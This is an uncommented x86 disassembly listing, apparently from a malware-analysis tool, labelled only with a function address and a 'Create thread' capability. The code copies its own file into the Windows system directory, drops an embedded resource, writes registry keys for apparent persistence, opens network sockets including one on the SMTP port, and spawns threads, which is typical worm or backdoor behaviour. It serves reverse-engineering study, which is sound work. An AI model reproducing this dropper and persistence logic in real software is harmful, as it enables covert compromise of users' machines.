Function at 0x401a40
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x480
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.DLL_GetVersion]
mov esi, dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
cmp eax, 0x80000000
jb 0x40161a
push 0x401344
push 0x401334
call esi
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
test eax, eax
mov dword [ebp - 8], eax
je 0x40161a
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
mov dword [ebp - 4], eax
push 1
push dword [ebp - 4]
call dword [ebp - 8]
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemTime]
mov ecx, dword [ebp - 0x1e]
mov edx, dword [ebp - 0x20]
and ecx, 0xffff
and edx, 0xffff
imul ecx, edx
push ecx
call fcn.00401f2a
add esp, 4
call fcn.00401f34
cdq
mov ecx, 0x1e78
idiv ecx
add edx, 0x834
mov dword [0x4010e0], edx
lea edx, [ebp - 0x480]
push edx
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
cmp dword [0x4010e0], 0x1e9b
jne 0x4016a4
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
push 0x19
call dword [sym.imp.WS2_32.dll_htons]
push 0x401324
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x4016a4
push 0x401324
call dword [sym.imp.WS2_32.dll_inet_addr]
lea eax, [ebp - 0x1f0]
push 0x80
push eax
push 0
call esi
push eax
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea ecx, [ebp - 0x2f0]
push 0x100
push ecx
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
mov edi, 0x401320
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x2f0]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.004015a0
mov edi, dword [0x4010ec]
lea edx, [ebp - 0x2f0]
test eax, eax
je 0x401718
mov edi, dword [0x4010e4]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [ebp - 0x1f0]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea esi, [ebp - 0x2f0]
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x401771
test cl, cl
je 0x40176d
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x401771
add eax, 2
add esi, 2
test cl, cl
jne 0x401749
xor eax, eax
jmp 0x401776
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x40190d
lea eax, [ebp - 0x2f0]
push 0
lea ecx, [ebp - 0x1f0]
push eax
push ecx
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
push 0x40131c
push 0x65
push 0
call dword [sym.imp.KERNEL32.DLL_FindResourceA]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_LoadResource]
push eax
call dword [sym.imp.KERNEL32.DLL_LockResource]
lea edx, [ebp - 0x170]
push 0x100
push edx
mov ebx, eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
mov edi, 0x401320
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x170]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.004015a0
mov edi, dword [0x4010f0]
lea edx, [ebp - 0x170]
test eax, eax
je 0x401812
mov edi, dword [0x4010e8]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 0x80
mov ecx, edx
push 4
push eax
and ecx, 3
push 2
lea eax, [ebp - 0x170]
push 0x40000000
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov esi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
cmp eax, 0xffffffff
mov dword [0x401f94], eax
je 0x401880
lea ecx, [ebp - 8]
push 0
push ecx
push 0xa00
push ebx
push eax
call dword [sym.imp.KERNEL32.DLL_WriteFile]
mov edx, dword [0x401f94]
push edx
call esi
call fcn.004015a0
test eax, eax
jne 0x40194a
mov byte [ebp - 8], al
mov byte [ebp - 7], al
mov byte [ebp - 6], al
mov byte [ebp - 5], al
lea eax, [ebp - 4]
push eax
push 0x4012e8
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
lea edi, [ebp - 0x170]
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [ebp - 4]
repne scasb al, byte es:[edi]
not ecx
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push ecx
lea ecx, [ebp - 0x170]
push ecx
push 1
push eax
push 0x4012e0
push edx
call esi
mov eax, dword [ebp - 4]
push 1
push 0x4012d8
push 1
push 0
push 0x4012cc
push eax
call esi
mov edx, dword [ebp - 4]
lea ecx, [ebp - 8]
push 4
push ecx
push 4
push 0
push 0x4012c0
push edx
call esi
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ax, word [0x4010e0]
push eax
call dword [sym.imp.WS2_32.dll_htons]
push 0x401580
mov word [0x401f90], ax
call 0x401a40
push 0x401a90
call 0x401a40
add esp, 8
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.DLL_Sleep]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10
lea ecx, [ebp - 4]
push 0
mov edi, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push 0x401278
push reloc.WS2_32.dll_bind
call edi
push 0x401250
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
mov edx, dword [0x4010f4]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push eax
mov eax, dword [ebp - 4]
push 0x401250
push 1
push 0
push edx
push eax
call ebx
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 4]
push 0
push edx
push 0
push 0xf003f
push 0
push 0
push 0
push 0x401214
push bind
call edi
lea edi, [ebp - 0x170]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
lea eax, [ebp - 0x170]
push ecx
mov ecx, dword [ebp - 4]
push eax
push 1
push 0
push 0x401fa0
push ecx
call ebx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, 0x10
xor eax, eax
lea edi, [ebp - 0x6c]
mov dword [ebp - 0x70], 0x44
rep stosd dword es:[edi], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
lea ecx, [ebp - 0x18]
lea edx, [ebp - 0x70]
mov dword [ebp - 0x10], eax
push ecx
push edx
push eax
push eax
push 0x20
push eax
push eax
mov dword [ebp - 0xc], eax
push eax
lea eax, [ebp - 0x2f0]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
mov ecx, dword [ebp - 0x14]
push ecx
call esi
mov edx, dword [ebp - 0x18]
push edx
call esi
push 1
call fcn.00401e66
mov ecx, dword [esp + 4]
lea eax, [esp + 4]
push eax
push 0
push 0
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateThread]
ret